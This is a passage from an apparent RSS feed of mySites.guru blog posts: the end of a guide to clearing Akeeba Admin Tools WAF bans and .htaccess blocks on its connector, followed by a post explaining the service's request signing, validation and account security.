&lt;p&gt;The WAF hooks Joomla’s &lt;code&gt;onAfterInitialise&lt;/code&gt; event. The connector never boots Joomla that far, so audits, snapshots and tool calls go straight past a live ban as if it were not there. A backup is the exception: mySites.guru drives Akeeba Backup through the site’s own &lt;code&gt;index.php&lt;/code&gt;, a full Joomla request, so a banned IP gets 403 Forbidden on every backup while everything else on the site’s page looks healthy. Audits fine, &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;backups&lt;/a&gt; 403, is the signature.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What the ban does to backups&lt;/p&gt;&lt;div&gt;&lt;p&gt;From our own measurements across connected Joomla sites: of the sites found with our IP banned by Admin Tools, roughly 44% had their last backup rejected. On Admin Tools sites where we are not blocked, the figure is 0.6%.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If a site’s last backup failed with 403 and Admin Tools is installed but no ban was found in its tables, mySites.guru says so and does not offer the unblock button, because a 403 has many causes and clearing a ban that does not exist fixes none of them.&lt;/p&gt;
&lt;h2&gt;Clearing an Admin Tools IP Ban from mySites.guru&lt;/h2&gt;
&lt;p&gt;During each snapshot, and snapshots run twice a day, mySites.guru looks in the Admin Tools block tables, both the manual block list and the automatic ban list, for the IP the request came from. If it is there, the site is flagged BLOCKED by the check “Unblock mySites.guru IP in Akeeba Admin Tools”, and the site’s Backup tab shows “Akeeba Admin Tools has blocked our IP” with an “Unblock our IP” button.&lt;/p&gt;
&lt;p&gt;“Unblock our IP” removes our IP from the manual block list, the auto ban list and the auto ban history, then adds it to the Admin Tools Site IP Allow List with the description “mySites.guru management IP - auto allow-listed”. It works while the ban is live because it travels the connector route the WAF never sees. It acts only on our own IP and changes no other Admin Tools setting.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/admintoolsunblockip&quot;&gt;Unblock mySites.guru IP in Akeeba Admin Tools&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. These run twice a day on every connected site.&lt;/p&gt;&lt;p&gt;It can also fix this across every connected site with one click.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/admintoolsunblockip&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you would rather not click it every time, there is a per-site setting under Config, Advanced: “Automatically whitelist mySites.guru in Admin Tools”, with the toggle “Clear the block automatically”. With that on, a snapshot that finds us blocked clears the ban and allow-lists us without waiting for you. It only writes when it finds us blocked, never on a routine snapshot, so your &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;scheduled backups&lt;/a&gt; keep running without anyone babysitting the WAF. The one-click unblock arrived with &lt;a href=&quot;https://mysites.guru/blog/summer-2026-new-features/&quot;&gt;a batch of other features&lt;/a&gt;, and the auto-clear toggle is the version of it you set once and forget.&lt;/p&gt;
&lt;p&gt;The manual alternative inside Admin Tools is Configure WAF, “Exceptions”, “Never block these IPs”: add 178.62.5.35. Akeeba’s &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/waf-configure-exceptions.html&quot;&gt;WAF Exceptions documentation&lt;/a&gt; recommends that list for “known external servers accessing your site (e.g. payment service providers sending callbacks to your site, site scanners, Cloudflare, Sucuri, etc)”. The separate “Site IP Allow List” page, which describes itself as being for “known, vetted services and servers”, does the same job; in the 7.9.3 code both lists make Admin Tools skip its checks for that IP entirely. Either is fine.&lt;/p&gt;
&lt;p&gt;The two fixes in this post are not interchangeable, and this is where most people go wrong. An IP allow-list entry in the WAF does nothing for a .htaccess Maker 403, because Apache blocks the file before PHP, and so Admin Tools, ever runs. A .htaccess Maker exception does nothing for a WAF ban on backups, because backups go through &lt;code&gt;index.php&lt;/code&gt;, which the exception does not touch. Akeeba staff have said as much: the WAF and the .htaccess Maker do not affect each other. Most sites with Admin Tools Professional need both.&lt;/p&gt;
&lt;h2&gt;Admin Tools for WordPress Uses Different Labels&lt;/h2&gt;
&lt;p&gt;Admin Tools for WordPress Professional has its own .htaccess Maker with an “Exceptions” section, and the wording is different from the Joomla edition. The four lists are “Files which will always be made accessible”, “Directories where all files except .php will be accessible”, “Directories where all files including .php will be accessible” and “Directories where only files with allowed extensions will be accessible”.&lt;/p&gt;
&lt;p&gt;On WordPress the connector is at &lt;code&gt;wp-content/plugins/mywpguru&lt;/code&gt;, with its files in &lt;code&gt;wp-content/plugins/mywpguru/bfnetwork/&lt;/code&gt;. The labels are just as easy to mix up as on Joomla, with four near-identical boxes this time, so read each one to the end. Add &lt;code&gt;wp-content/plugins/mywpguru&lt;/code&gt; only to “Directories where all files including .php will be accessible”, which has &lt;code&gt;wp-content/upgrade&lt;/code&gt; in it by default, then “Save and create .htaccess”. Akeeba’s &lt;a href=&quot;https://www.akeeba.com/documentation/atwp/server-protection.html&quot;&gt;Server Protection documentation for WordPress&lt;/a&gt; covers the page, and its WAF Exceptions documentation names “a third party site management service” as the kind of thing you do not want the firewall blocking. The one-click unblock in mySites.guru is Joomla only, so on WordPress add our IP to the WAF exceptions by hand.&lt;/p&gt;
&lt;h2&gt;No Admin Tools but Still a 403 on Joomla?&lt;/h2&gt;
&lt;p&gt;Then something else wrote the rule. Check &lt;code&gt;/.htaccess&lt;/code&gt;, &lt;code&gt;/plugins/.htaccess&lt;/code&gt; and &lt;code&gt;/plugins/system/.htaccess&lt;/code&gt; for a &lt;code&gt;&amp;lt;FilesMatch&amp;gt;&lt;/code&gt; block that denies &lt;code&gt;.php&lt;/code&gt; with &lt;code&gt;Deny from all&lt;/code&gt;. A root &lt;code&gt;.htaccess&lt;/code&gt; often pairs that deny with an allow list of known core files, and the connector is not on it. Hand-written rules like these need the same &lt;code&gt;bfnetwork&lt;/code&gt; exception written in whatever style the file already uses.&lt;/p&gt;
&lt;p&gt;If none of that is present, the 403 is coming from a server firewall blocking our IP rather than from the site. Hosts do this in several shapes, including &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;a bot challenge in front of the whole site&lt;/a&gt;, and the fix is the same each time: send the host &lt;a href=&quot;https://manage.mysites.guru/ips&quot;&gt;our IP addresses&lt;/a&gt; and ask for them to be allowed.&lt;/p&gt;
&lt;p&gt;Admin Tools hardens the site and mySites.guru watches it, and the two settings in this post let both do their job at once. If you look after more than a couple of Joomla sites, having the ban detected and cleared for you is a small part of what the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt; does twice a day on every site you connect.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/server-protection.html&quot;&gt;Admin Tools for Joomla: Server Protection&lt;/a&gt; - Akeeba&apos;s own documentation for the .htaccess Maker, including the three exception lists and the warning about the PHP one&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/waf-configure-exceptions.html&quot;&gt;Admin Tools for Joomla: WAF Exceptions&lt;/a&gt; - the Never block these IPs list and what Akeeba recommends it for&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/atipinwhitelist.html&quot;&gt;Admin Tools FAQ: IP allow lists&lt;/a&gt; - how an allow-listed IP is treated by the Web Application Firewall&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/atwp/server-protection.html&quot;&gt;Admin Tools for WordPress: Server Protection&lt;/a&gt; - the WordPress edition&apos;s .htaccess Maker and its differently worded exception lists&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/ips&quot;&gt;mySites.guru IP addresses&lt;/a&gt; - the current list of IPs our service and uptime monitor connect from&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>akeeba</category><category>admin tools</category><category>htaccess</category><category>security</category><category>backups</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception.png" length="0" type="image/png"/></item><item><title>Is It Safe to Connect My Clients&apos; Sites to mySites.guru?</title><link>https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/</guid><description>Security runs through everything mySites.guru does, from the platform and your data to the 100,000 connections it makes to remote sites each day.</description><pubDate>Mon, 19 Oct 2026 11:50:51 GMT</pubDate><content:encoded>&lt;p&gt;YES!&lt;/p&gt;
&lt;p&gt;An agency owner told me recently that she was holding off connecting her client sites because she’d be “sharing my clients’ website access with strangers”. It’s the right instinct. Before you put a management tool between you and fifty client sites, you should know what that tool can do with them and who’s behind it.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;mySites.guru is built to be secure in everything it does - By Design&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That covers the platform, the data we hold, who on our side can reach it, your own login, and above all the connections to your sites. mySites.guru makes around 100,000 connections to remote sites every day for thousands of paying customers, and every one of them is encrypted, signed for the one site it is meant for, and validated through an independent callback before it runs.&lt;/p&gt;
&lt;p&gt;You don’t give us any client passwords, FTP details or hosting logins to get there. You install a connector plugin on each site, and the platform is built so that even someone with our entire database could not use it to run a command on your client’s server. At least three read-only Docker containers, on three different physical servers behind our firewall, would all have to be compromised within seconds of each other to send a single forged request.&lt;/p&gt;
&lt;h2&gt;What you give us when you connect a site&lt;/h2&gt;
&lt;p&gt;Connecting a Joomla or WordPress site means &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;installing the mySites.guru connector plugin&lt;/a&gt;, the same way you’d install any other extension. That’s the whole setup. The admin password, FTP and the hosting control panel stay with you.&lt;/p&gt;
&lt;p&gt;The only time I ever ask for FTP details is when a customer asks me to fix a site that won’t connect, and they choose to send them through the support form. Day-to-day use never needs them.&lt;/p&gt;
&lt;h2&gt;Even a complete mySites.guru server compromise is not enough to access your sites&lt;/h2&gt;
&lt;p&gt;Most people picture a management tool as a big box of keys: break into the box, get every site. I built mySites.guru on the opposite assumption, that our own systems will eventually be attacked, and designed for what happens after that.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;You, in your mySites.guru dashboard&lt;/p&gt;&lt;p&gt;ask for something to happen on a site&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Behind our firewall, on our private network&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Read-only container 1&lt;/p&gt;&lt;p&gt;on physical Server 1&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Read-only container 2&lt;/p&gt;&lt;p&gt;on physical Server 2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Read-only container 3&lt;/p&gt;&lt;p&gt;on physical Server 3&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;All three have to be compromised within seconds of each other, without tripping our defences, to send one forged request. One server, or the whole database, is not enough.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Signed, encrypted, single-use request&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;Your site&lt;/p&gt;&lt;p&gt;The connector, with this site&apos;s own key pair&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&quot;Did this really come from mySites.guru?&quot;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Independent validation server&lt;/p&gt;&lt;p&gt;Switch it off and every connector stops running requests&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Validated, so the connector decrypts and runs it&lt;/p&gt;&lt;p&gt;Anything that fails a check is never decrypted&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;figcaption&gt;Every one of the roughly 100,000 requests a day takes this path.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The connector on your site authenticates every instruction before it acts on it. All communication with it is encrypted end to end, and a request is only valid if it has the correct signature for that specific site. Every single site gets its own cryptographic key pair, which isn’t shared with any other site on the platform.&lt;/p&gt;
&lt;p&gt;That encryption does more than one job. Besides protecting the request, it’s how our requests tunnel through the &lt;a href=&quot;https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/&quot;&gt;restrictive firewalls and WAFs&lt;/a&gt; that some hosts put in front of their servers, &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;which would otherwise block legitimate management traffic&lt;/a&gt;. Because each request is encrypted with that one site’s keys, it can’t be used against any other site. Each request is also time-boxed, and the connector won’t act on it until the validation server has confirmed it.&lt;/p&gt;
&lt;p&gt;A signature alone isn’t the end of it. Every request to a connected site has a parallel connection to an independent validation server: before the connector runs anything, it calls back to check that the request really came from mySites.guru. If you’ve ever built a PayPal IPN listener, it’s the same idea, and PayPal has relied on that pattern for decades. Every single request we make is signed and then validated before it runs.&lt;/p&gt;
&lt;p&gt;mySites.guru also isn’t one server. The platform is a layered, Docker-based service, with its layers distributed across different physical servers and run largely as read-only containers. To run a single command on any remote site, an attacker would need to compromise at least three different read-only Docker containers, on three different physical servers, within seconds of each other, all without tripping any of our defences, and all behind our main firewall on our private internal network. So even a complete compromise of one mySites.guru server, database included, is not enough to run a command on your site. I don’t publish every layer of that design, because that would only help someone looking for a way in.&lt;/p&gt;
&lt;p&gt;There’s also a kill switch. In the unlikely event that mySites.guru itself had a security breach, I can stop every request to every connected site with a single command, by switching off the validation server. With nothing there to answer the callback, no connector will run anything until it’s back.&lt;/p&gt;
&lt;p&gt;This is not a theoretical concern. On 18 October 2026 TeamUpdraft confirmed that it had identified unauthorised access which it believes may have exposed UpdraftCentral connection keys. &lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1x9mp8q/backdoor_plugin_dropped_on_my_wordpress_site/&quot;&gt;One WordPress site owner on Reddit&lt;/a&gt; found a backdoor plugin they never installed, dropped through two requests to UpdraftPlus’s remote-control library with no wp-admin login, no plugin upload and no file editor use. TeamUpdraft’s advice was to delete existing UpdraftCentral connection keys, change passwords and reconnect with a new key. If the same kind of breach happened at mySites.guru, it would not be enough to run a command on your site, because nothing stored in our service database is enough on its own to make the connector accept a request.&lt;/p&gt;
&lt;p&gt;The same boundary holds in the other direction. If one of your client sites gets hacked, through a vulnerable extension or anything else, it has no path back into mySites.guru, and no path from there to your other sites.&lt;/p&gt;
&lt;h2&gt;An example: one-click login&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One-click login&lt;/a&gt; is a good way to see all of this working, because it’s the feature that sounds most like we must be holding your passwords. You press a button on your dashboard and you’re in a client site’s admin console, without typing a password.&lt;/p&gt;
&lt;p&gt;Your password is never involved. We don’t ask for it and we don’t store it. Each login goes through the same signed and validated process as every other request:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;1. Register&lt;/dt&gt;&lt;dd&gt;mySites.guru registers the upcoming request with our request validation service.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;2. Send&lt;/dt&gt;&lt;dd&gt;An encrypted login request is sent to the connector on the site.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;3. Validate&lt;/dt&gt;&lt;dd&gt;The site checks back with the validation service to confirm the request is real.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;4. Decrypt&lt;/dt&gt;&lt;dd&gt;Only then does the site decrypt the request, which was encrypted with that site&apos;s own keys so it is useless anywhere else, and see that it&apos;s a login instruction.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;5. Create session&lt;/dt&gt;&lt;dd&gt;The site creates a new session for the admin user you chose in mySites.guru.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;6. Redirect&lt;/dt&gt;&lt;dd&gt;You&apos;re redirected to the site, and your browser picks up that session.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;No password crosses the wire at any point, and not even a username. The login request names the admin user by a number, the user’s ID on that site, and we don’t store usernames in our database at all. One-click login is also opt-in: it does nothing until you pick, per site, which admin user it should log you in as.&lt;/p&gt;
&lt;h2&gt;Who is on our end&lt;/h2&gt;
&lt;p&gt;Me, &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt;. I’ve been involved in Mambo and then Joomla for decades, starting as one of the original five core developers of Mambo Open Source 4.5. I was also one of the top code contributors to Joomla 4, and I’m on the Joomla Security Strike Team’s honour roll. If you run Joomla, you are probably already running code I wrote on your sites! Tens of thousands of people trust me with their sites, and you can &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;read what they say&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’ve run mySites.guru for more than a decade and I answer all the support email myself. Support isn’t outsourced, so there’s no overseas helpdesk with a login to your account.&lt;/p&gt;
&lt;p&gt;Access to the production systems is restricted to named personnel, over key-based authentication on a private network. The application servers and the database aren’t reachable from the public internet.&lt;/p&gt;
&lt;p&gt;If I ever need to see your dashboard as you see it to sort out a support problem, that admin impersonation is restricted, logged, and shows up in your own account activity log. You’ll always be able to see that it happened.&lt;/p&gt;
&lt;p&gt;Some jobs can’t be done through the connector at all: a hacked site, a half-finished update, a site that won’t boot. For those, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; is my paid, hands-on repair service, and it does need your site’s credentials. That process is locked down too. Credentials are encrypted at rest, field by field, with the encryption key on different hardware to the database, and they are never emailed to anyone, including me. Only I can see them, and every time they’re opened that’s recorded. They’re also time-boxed: a scheduled job destroys them seven days after you send them unless a job is still under way, nothing survives thirty days under any circumstances, and you can destroy them yourself from your account at any time.&lt;/p&gt;
&lt;h2&gt;Securing mySites.guru since 2012&lt;/h2&gt;
&lt;p&gt;mySites.guru has been running since 2012, and for all of that time securing it has been part of the job, along with defending it against abuse and attacks. The security architecture above has been part of the platform from day one.&lt;/p&gt;
&lt;p&gt;Security is also what I do outside mySites.guru. I’m security educated and trained, and I design and build complex security architecture for other organisations as well as for our own platform.&lt;/p&gt;
&lt;p&gt;We’ve also responsibly disclosed over 100 security issues in other people’s products, including Joomla core and many of the extensions your sites run, and &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of our Joomla security disclosures&lt;/a&gt; shows what that work looks like. That work has been recognised outside the Joomla world too, including a Digital Jersey Tech Awards nomination for helping secure government COVID digital certificate platforms.&lt;/p&gt;
&lt;h2&gt;What data does mySites.guru store about a site?&lt;/h2&gt;
&lt;p&gt;Very little, and most of it is integers and flags: counts, and &lt;a href=&quot;https://mysites.guru/tools/&quot;&gt;yes-or-no answers to the checks the connector runs&lt;/a&gt;. Anything more detailed is pulled from the site in real time, only when you open &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;one of the investigate tools&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All the alerting and notifications you get from mySites.guru come from those integers and flags. We don’t pull your site’s files or database into our service to work out whether something needs your attention.&lt;/p&gt;
&lt;p&gt;The heavy lifting happens on your own server. &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;Scanning file contents and database content is done by the connector&lt;/a&gt;, in your environment, with your own settings, your own PHP and your own versions. What comes back to us is the answer, not your content.&lt;/p&gt;
&lt;p&gt;The little we do hold is protected like this:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;In transit&lt;/dt&gt;&lt;dd&gt;All traffic to the platform is end to end encrypted.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;At rest&lt;/dt&gt;&lt;dd&gt;Personal data is encrypted in the database, and the encryption keys are held on different physical hardware to the database.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Backups&lt;/dt&gt;&lt;dd&gt;Encrypted with a modern cipher, held off-site, and kept for at most a month.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Your password&lt;/dt&gt;&lt;dd&gt;Stored one-way hashed, so it can never be recovered in plain text.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;h2&gt;To be clear: Your clients personal data on their sites&lt;/h2&gt;
&lt;p&gt;Data protection law defines “processing” personal data very broadly. Showing you the names of the users on a client site in &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;the user management tools&lt;/a&gt; could count, so we treat ourselves as processing that data and go over and above what’s required of us as your sub-processor.&lt;/p&gt;
&lt;p&gt;We don’t harvest or otherwise process the personal data found on your sites, and we don’t store any of it in our service. We only read it from your site in real time, while you’re using the tools, and it stays on your site.&lt;/p&gt;
&lt;p&gt;The only other personal data we process is about our own account holders: your name, IP address, location, billing and payment details and the like. We handle that securely and in full adherence with international data protection law, going over and above what it requires. Our &lt;a href=&quot;https://mysites.guru/dpa/&quot;&gt;Data Processing Agreement&lt;/a&gt; covers the data on your sites, and our &lt;a href=&quot;https://mysites.guru/privacy/&quot;&gt;Privacy Policy&lt;/a&gt; covers yours.&lt;/p&gt;
&lt;h2&gt;The weakest point is your own login&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;Your own mySites.guru login is the weakest point, and securing it is your responsibility, not ours. This is by design.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With everything above in place, the easiest way into your sites through mySites.guru is your own dashboard login. If you choose a weak or reused password, choose not to set up passkeys or two-factor authentication, or choose to switch off login notifications, that’s on you rather than on the platform.&lt;/p&gt;
&lt;p&gt;mySites.guru gives you all the tools to lock your account down. Using them is up to you:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Passkeys and hardware keys&lt;/dt&gt;&lt;dd&gt;Sign in with a &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkey&lt;/a&gt; using Face ID, Touch ID, Windows Hello or your Android phone, or plug in a hardware security key such as a YubiKey. Passkeys can&apos;t be phished or reused on another site.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Two-factor authentication&lt;/dt&gt;&lt;dd&gt;Codes from an authenticator app, backup codes for when your phone isn&apos;t to hand, and the option to trust a device for 60 days.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;A nudge on every sign-in&lt;/dt&gt;&lt;dd&gt;Until you set up two-factor or a passkey, every sign-in without one prompts you to do it.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Login notifications&lt;/dt&gt;&lt;dd&gt;An email every time someone signs in to your account, with the IP address and time. If it wasn&apos;t you, reply and I&apos;ll help you lock the account down. You can switch them off in your &lt;a href=&quot;https://manage.mysites.guru/en/account/notifications&quot;&gt;notification settings&lt;/a&gt;, but please don&apos;t: they&apos;re your early warning.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Brute-force blocking&lt;/dt&gt;&lt;dd&gt;Ten failed sign-ins from one IP address within five minutes and that address is blocked.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;No password reuse&lt;/dt&gt;&lt;dd&gt;Your last five passwords can&apos;t be used again.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Team member logins&lt;/dt&gt;&lt;dd&gt;Give staff &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;their own logins&lt;/a&gt; instead of sharing yours, limited to the sites they need, each with their own second factor. You can remove one person without changing anything for the rest.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;A locked-down File Manager&lt;/dt&gt;&lt;dd&gt;The &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;Web File Manager&lt;/a&gt; is off until you switch it on for a site, needs two-factor, and asks for your password again before it switches on.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;And use a strong, unique password, ideally generated and stored in a password manager.&lt;/p&gt;
&lt;h2&gt;mySites.guru plugin security updates are automatic&lt;/h2&gt;
&lt;p&gt;You never need to update our plugin. &lt;a href=&quot;https://mysites.guru/cra-statement/&quot;&gt;We do that for you automatically&lt;/a&gt;, as and when we release new code, so you’re fully protected and have the very latest features deployed for you. Even this process is locked down: an update only runs inside an authenticated, validated request from mySites.guru, the new version downloads from our own CDN over HTTPS, and every file is checked against the release manifest after it’s installed, so a partly applied update gets caught rather than reported as done.&lt;/p&gt;
&lt;h2&gt;You can cut off access yourself, at any time&lt;/h2&gt;
&lt;p&gt;mySites.guru can only reach a site while the connector and its keys are on it, so ending access is in your hands, and it takes seconds. Any one of these does it:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Delete the Keys folder&lt;/dt&gt;&lt;dd&gt;plugins/system/bfnetwork/bfnetwork/Keys on Joomla, or wp-content/plugins/mywpguru/bfnetwork/Keys on WordPress.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Uninstall the plugin&lt;/dt&gt;&lt;dd&gt;Use the normal Joomla extension manager or WordPress plugin uninstaller.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Delete the files&lt;/dt&gt;&lt;dd&gt;Remove the plugin&apos;s files over FTP.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Delete the site from your dashboard&lt;/dt&gt;&lt;dd&gt;Every site has its own key pair, and &lt;a href=&quot;https://mysites.guru/blog/how-to-delete-a-site-from-mysites-guru/&quot;&gt;deleting the site&lt;/a&gt; destroys our half of it, so we can&apos;t reach the site afterwards even if we wanted to.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;h2&gt;What to tell your clients&lt;/h2&gt;
&lt;p&gt;If a client asks where their data goes, our &lt;a href=&quot;https://mysites.guru/dpa/&quot;&gt;Data Processing Agreement&lt;/a&gt; covers the usual agency setup: your client is the controller, you are the processor, and mySites.guru is your sub-processor. It’s about how personal data is handled rather than how the platform is secured, but it’s the document a client’s compliance person will expect to see.&lt;/p&gt;
&lt;p&gt;And if you’re a security researcher who has found something we’ve missed, our &lt;a href=&quot;https://mysites.guru/security-statement/&quot;&gt;security policy&lt;/a&gt; explains how to report it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Don&apos;t take our word for it. See what other people have to say.&lt;/p&gt;&lt;div&gt;&lt;p&gt;Hundreds of agencies and site owners who manage their Joomla and WordPress sites with mySites.guru have reviewed it, and WP Mayor rated it 4.6/5. &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Read the reviews&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Connect your first site&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1x9mp8q/backdoor_plugin_dropped_on_my_wordpress_site/&quot;&gt;Backdoor plugin dropped on my WordPress site&lt;/a&gt; - the October 2026 UpdraftCentral connection key incident, with TeamUpdraft&apos;s confirmation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/dpa/&quot;&gt;Data Processing Agreement&lt;/a&gt; - how personal data on your connected sites is handled, for when a client asks&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/security-statement/&quot;&gt;Security policy&lt;/a&gt; - how to report a vulnerability in mySites.guru or the connector, and our response targets&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One-click login to any Joomla or WordPress admin&lt;/a&gt; - how the passwordless handshake works day to day&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;Passkeys for secure login to mySites.guru&lt;/a&gt; - lock down your own dashboard login&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Manage multiple sites with your whole team&lt;/a&gt; - give staff their own logins instead of sharing yours&lt;/li&gt;
&lt;/ul&gt;
